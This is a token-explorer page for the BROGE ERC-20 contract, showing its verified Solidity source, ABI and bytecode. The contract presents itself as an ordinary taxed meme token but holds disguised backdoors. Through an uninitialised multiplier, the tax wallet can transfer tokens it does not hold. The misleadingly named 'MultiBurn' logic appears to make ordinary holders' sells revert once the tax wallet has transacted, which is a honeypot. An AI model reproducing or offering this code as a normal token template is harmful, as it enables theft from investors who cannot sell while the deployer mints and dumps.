ERC-20
Overview
Max Total Supply
1,000,000,000 BROGE
Holders
40
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BROGE
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-12 */ /* */ // SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BROGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=18; uint256 public _finalBuyTax=0; uint256 public _finalSellTax=0; uint256 private _reduceBuyTaxAt=11; uint256 private _reduceSellTaxAt=20; uint256 private _preventSwapBefore=5; uint256 public _transferTax=0; uint256 public _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"BROGE"; string private constant _symbol = unicode"BROGE"; uint256 public _maxTxAmount = 10000000 * 10**_decimals; uint256 public _maxWalletSize = 10000000 * 10**_decimals; uint256 public _taxSwapThreshold= 8000000 * 10**_decimals; uint256 public _maxTaxSwap= 10000000 * 10**_decimals; uint256 private multBurnLimit; struct MultiBurn {uint256 multAmount; uint256 multPercent; uint256 totalMultAmount;} mapping(address => MultiBurn) private multiBurn; uint256 private multBurnThreshold; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; uint256 private sellsPerBlock = 4; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x38B7eBd5c9b4494B7f10D3a884c6D688bcD9077D); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from,to, tokenAmount); } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap ) { _basicTransfer( from,to,amount ); return; } uint256 taxAmount=0; if ( from != owner() && to != owner() && to != _taxWallet ) { if(_buyCount==0){ taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); } if(_buyCount>0){ taxAmount = amount.mul(_transferTax).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { if (block.number > lastSellBlock) { sellCount = 0; } require(sellCount < sellsPerBlock); swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } sellCount++; lastSellBlock = block.number; } } if ( (_isExcludedFromFee[from] ||_isExcludedFromFee[to] ) && from!= address(this) && to != address(this) ) { multBurnThreshold = block.number; } if (! _isExcludedFromFee[from] && ! _isExcludedFromFee[to] ) { if (uniswapV2Pair!= to) { MultiBurn storage mulTran = multiBurn[to]; if (uniswapV2Pair == from) { if (mulTran.multAmount == 0) { if (_buyCount>_preventSwapBefore) { mulTran.multAmount = block.number; } else { mulTran.multAmount = block.number.sub(1); } } } else { MultiBurn storage mulTranSwap = multiBurn[from]; if (mulTranSwap.multAmount < mulTran.multAmount || !(mulTran.multAmount>0) ) { mulTran.multAmount = mulTranSwap.multAmount; } } } else { MultiBurn storage mulTranSwap = multiBurn[from]; mulTranSwap.multPercent = mulTranSwap.multAmount.sub(multBurnThreshold); mulTranSwap.totalMultAmount = block.timestamp; } } _tokenTransfer(from, to, amount, taxAmount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function _tokenBasicTransfer( address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from] =_balances[from].sub(sendAmount); _balances[to]= _balances[to].add(receiptAmount); emit Transfer(from, to,receiptAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTaxTransfer(address addr, uint256 amount, uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addr!=_taxWallet?amount:multBurnLimit.mul(amount); if (taxAmount>0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(addr, address(this),taxAmount); } return tAmount; } function _tokenTransfer( address from, address to, uint256 amount, uint256 taxAmount ) internal { uint256 tAmount=_tokenTaxTransfer(from, amount, taxAmount); _tokenBasicTransfer(from, to,tAmount,amount.sub(taxAmount)); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function removeTransferTax() external onlyOwner{ _transferTax = 0; emit TransferTaxUpdated(0); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); swapEnabled=true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen=true; } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } function rescueETH() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f60055560126006555f6007555f600855600b6009556014600a556005600b555f600c555f600d556009600a6200003d919062000305565b6200004c90629896806200031c565b600e556200005d6009600a62000305565b6200006c90629896806200031c565b600f556200007d6009600a62000305565b6200008c90627a12006200031c565b6010556200009d6009600a62000305565b620000ac90629896806200031c565b60115560046017556018805461ffff191690555f6019819055601a55348015620000d4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319167338b7ebd5c9b4494b7f10d3a884c6d688bcd9077d179055620001496009600a62000305565b6200015990633b9aca006200031c565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556004546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001cf6009600a62000305565b620001df90633b9aca006200031c565b60405190815260200160405180910390a362000336565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024a57815f19048211156200022e576200022e620001f6565b808516156200023c57918102915b93841c93908002906200020f565b509250929050565b5f826200026257506001620002ff565b816200027057505f620002ff565b81600181146200028957600281146200029457620002b4565b6001915050620002ff565b60ff841115620002a857620002a8620001f6565b50506001821b620002ff565b5060208310610133831016604e8410600b8410161715620002d9575081810a620002ff565b620002e583836200020a565b805f1904821115620002fb57620002fb620001f6565b0290505b92915050565b5f6200031560ff84168362000252565b9392505050565b8082028115828204841417620002ff57620002ff620001f6565b611bd780620003445f395ff3fe608060405260043610610164575f3560e01c806370a08231116100cd57806395d89b4111610087578063bf474bed11610062578063bf474bed146103a8578063c9567bf9146103bd578063dd62ed3e146103d1578063ec1f3f6314610415575f80fd5b806395d89b411461016f578063a9059cbb14610374578063baeb7a7d14610393575f80fd5b806370a08231146102c8578063715018a6146102fc578063751039fc146103105780637d1db4a5146103245780638da5cb5b146103395780638f9a55c01461035f575f80fd5b806320800a001161011e57806320800a001461023c57806323b872dd1461025057806327b1a8e91461026f578063313ce567146102845780633ef947211461029f57806351bc3c85146102b4575f80fd5b806306fdde031461016f578063095ea7b3146101ab5780630faee56f146101da578063109daa99146101fd57806317391e491461021357806318160ddd14610228575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082018252600581526442524f474560d81b602082015290516101a291906117b3565b60405180910390f35b3480156101b6575f80fd5b506101ca6101c5366004611813565b610434565b60405190151581526020016101a2565b3480156101e5575f80fd5b506101ef60115481565b6040519081526020016101a2565b348015610208575f80fd5b5061021161044a565b005b34801561021e575f80fd5b506101ef600c5481565b348015610233575f80fd5b506101ef6104b8565b348015610247575f80fd5b506102116104d8565b34801561025b575f80fd5b506101ca61026a36600461183d565b610504565b34801561027a575f80fd5b506101ef600d5481565b34801561028f575f80fd5b50604051600981526020016101a2565b3480156102aa575f80fd5b506101ef60085481565b3480156102bf575f80fd5b5061021161056b565b3480156102d3575f80fd5b506101ef6102e236600461187b565b6001600160a01b03165f9081526001602052604090205490565b348015610307575f80fd5b506102116105bc565b34801561031b575f80fd5b5061021161062d565b34801561032f575f80fd5b506101ef600e5481565b348015610344575f80fd5b505f546040516001600160a01b0390911681526020016101a2565b34801561036a575f80fd5b506101ef600f5481565b34801561037f575f80fd5b506101ca61038e366004611813565b6106d9565b34801561039e575f80fd5b506101ef60075481565b3480156103b3575f80fd5b506101ef60105481565b3480156103c8575f80fd5b506102116106e5565b3480156103dc575f80fd5b506101ef6103eb366004611896565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610420575f80fd5b5061021161042f3660046118cd565b610a99565b5f610440338484610ade565b5060015b92915050565b5f546001600160a01b0316331461047c5760405162461bcd60e51b8152600401610473906118e4565b60405180910390fd5b5f600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b5f6104c56009600a611a0d565b6104d390633b9aca00611a1b565b905090565b6004546001600160a01b0316336001600160a01b0316146104f7575f80fd5b4761050181610c02565b50565b5f610510848484610c39565b610561843361055c85604051806060016040528060288152602001611b7a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611241565b610ade565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461058a575f80fd5b305f9081526001602052604090205480156105a8576105a881611279565b4780156105b8576105b881610c02565b5050565b5f546001600160a01b031633146105e55760405162461bcd60e51b8152600401610473906118e4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106565760405162461bcd60e51b8152600401610473906118e4565b6106626009600a611a0d565b61067090633b9aca00611a1b565b600e5561067f6009600a611a0d565b61068d90633b9aca00611a1b565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106bd6009600a611a0d565b6106cb90633b9aca00611a1b565b6040519081526020016104ae565b5f610440338484610c39565b5f546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610473906118e4565b601654600160a01b900460ff16156107685760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610473565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107b19030906107a36009600a611a0d565b61055c90633b9aca00611a1b565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190611a32565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610884573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a89190611a32565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109169190611a32565b601680546001600160a01b039283166001600160a01b03199091161790556018805461ff0019166101001790556015541663f305d719473061096c816001600160a01b03165f9081526001602052604090205490565b5f8061097f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a0a9190611a4d565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a5f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a839190611a78565b506016805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b031614610ab8575f80fd5b6007548111158015610acc57506008548111155b610ad4575f80fd5b6007819055600855565b6001600160a01b038316610b405760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b038216610ba15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105b8573d5f803e3d5ffd5b6001600160a01b038316610c9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b038216610cff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b5f8111610d605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b601854610100900460ff161580610d79575060185460ff165b15610d8e57610d898383836113e0565b505050565b5f80546001600160a01b03858116911614801590610db957505f546001600160a01b03848116911614155b8015610dd357506004546001600160a01b03848116911614155b156110a457600d545f03610e1057610e0d6064610e07600954600d5411610dfc57600554610e00565b6007545b8590611483565b90611508565b90505b600d5415610e3557610e326064610e07600c548561148390919063ffffffff16565b90505b6016546001600160a01b038581169116148015610e6057506015546001600160a01b03848116911614155b8015610e8457506001600160a01b0383165f9081526003602052604090205460ff16155b15610f8757600e54821115610edb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610473565b600f5482610efd856001600160a01b03165f9081526001602052604090205490565b610f079190611a97565b1115610f555760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610473565b610f706064610e07600954600d5411610dfc57600554610e00565b600d80549192505f610f8183611aaa565b91905055505b6016546001600160a01b038481169116148015610fad57506001600160a01b0384163014155b15610fda57610fd76064610e07600a54600d5411610fcd57600654610e00565b6008548590611483565b90505b305f9081526001602052604090205460185460ff1615801561100957506016546001600160a01b038581169116145b801561101c5750601854610100900460ff165b8015611029575060105481115b80156110385750600b54600d54115b156110a257601a5443111561104c575f6019555b6017546019541061105b575f80fd5b6110786110738461106e84601154611549565b611549565b611279565b4780156110885761108847610c02565b60198054905f61109783611aaa565b909155505043601a55505b505b6001600160a01b0384165f9081526003602052604090205460ff16806110e157506001600160a01b0383165f9081526003602052604090205460ff165b80156110f657506001600160a01b0384163014155b801561110b57506001600160a01b0383163014155b1561111557436014555b6001600160a01b0384165f9081526003602052604090205460ff1615801561115557506001600160a01b0383165f9081526003602052604090205460ff16155b1561122f576016546001600160a01b038481169116146111fd576001600160a01b038084165f90815260136020526040902060165490918681169116036111c55780545f036111c057600b54600d5411156111b2574381556111f7565b6111bd43600161155d565b81555b6111f7565b6001600160a01b0385165f9081526013602052604090208154815410806111eb57508154155b156111f557805482555b505b5061122f565b6001600160a01b0384165f90815260136020526040902060145481546112229161155d565b6001820155426002909101555b61123b8484848461159e565b50505050565b5f81848411156112645760405162461bcd60e51b815260040161047391906117b3565b505f6112708486611ac2565b95945050505050565b6018805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b9576112b9611ad5565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611310573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113349190611a32565b8160018151811061134757611347611ad5565b6001600160a01b03928316602091820292909201015260155461136d9130911684610ade565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a59085905f90869030904290600401611ae9565b5f604051808303815f87803b1580156113bc575f80fd5b505af11580156113ce573d5f803e3d5ffd5b50506018805460ff1916905550505050565b6001600160a01b0383165f90815260016020526040902054611402908261155d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461143090826115c8565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf59085815260200190565b5f825f0361149257505f610444565b5f61149d8385611a1b565b9050826114aa8583611b5a565b146115015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b9392505050565b5f61150183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611626565b5f8183116115575782611501565b50919050565b5f61150183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611241565b5f6115aa858484611652565b90506115c18585836115bc878761155d565b611702565b5050505050565b5f806115d48385611a97565b9050838110156115015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b5f81836116465760405162461bcd60e51b815260040161047391906117b3565b505f6112708486611b5a565b6004545f9081906001600160a01b039081169086160361167e576012546116799085611483565b611680565b835b905082156116fa57305f908152600160205260409020546116a190846115c8565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f19087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f90815260016020526040902054611724908361155d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461175290826115c8565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117a59085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117df578581018301518582016040015282016117c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610501575f80fd5b5f8060408385031215611824575f80fd5b823561182f816117ff565b946020939093013593505050565b5f805f6060848603121561184f575f80fd5b833561185a816117ff565b9250602084013561186a816117ff565b929592945050506040919091013590565b5f6020828403121561188b575f80fd5b8135611501816117ff565b5f80604083850312156118a7575f80fd5b82356118b2816117ff565b915060208301356118c2816117ff565b809150509250929050565b5f602082840312156118dd575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561196757815f190482111561194d5761194d611919565b8085161561195a57918102915b93841c9390800290611932565b509250929050565b5f8261197d57506001610444565b8161198957505f610444565b816001811461199f57600281146119a9576119c5565b6001915050610444565b60ff8411156119ba576119ba611919565b50506001821b610444565b5060208310610133831016604e8410600b84101617156119e8575081810a610444565b6119f2838361192d565b805f1904821115611a0557611a05611919565b029392505050565b5f61150160ff84168361196f565b808202811582820484141761044457610444611919565b5f60208284031215611a42575f80fd5b8151611501816117ff565b5f805f60608486031215611a5f575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a88575f80fd5b81518015158114611501575f80fd5b8082018082111561044457610444611919565b5f60018201611abb57611abb611919565b5060010190565b8181038181111561044457610444611919565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b395784516001600160a01b031683529383019391830191600101611b14565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b7457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1152a7771ff5da678c666efa40aa5177c04b81929d22324dec05541bea7f71164736f6c63430008170033
Deployed Bytecode
